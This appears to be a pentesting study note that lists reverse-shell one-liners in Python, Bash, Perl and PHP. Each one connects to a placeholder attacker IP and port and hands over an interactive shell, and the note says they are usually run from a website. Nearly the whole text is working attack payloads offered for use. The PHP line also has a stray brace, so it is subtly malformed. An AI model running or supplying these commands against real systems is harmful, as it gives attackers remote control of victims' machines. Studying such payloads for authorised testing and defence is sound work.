Reverse Shells

Here is a simple list of reverse shells that I have discovered studying Pentesting

I haven't tested these on Windows machines, mostly on popular Linux distros

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",DESIRED_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

If you wish to spawn an sh shell simply change /bin/bash to /bin/sh.

Bash

bash -i >& /dev/tcp/YOUR_IP/DESIRED_PORT 0>&1

or if this doesn't work try

bash -c 'bash -i >& /dev/tcp/YOUR_IP/DESIRED_PORT 0>&1'

Perl

perl -e 'use Socket;$i="YOUR_IP";$p=DESIRED_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

If you wish to spawn an sh shell simply change /bin/bash to /bin/sh.

PHP

php -r '$sock=fsockopen("{YOUR_IP}",{DESIRED_PORT}});exec("/bin/sh -i <&3 >&3 2>&3");'

From Pentestmonkey

Usually you'll execute this from a website.

Last updated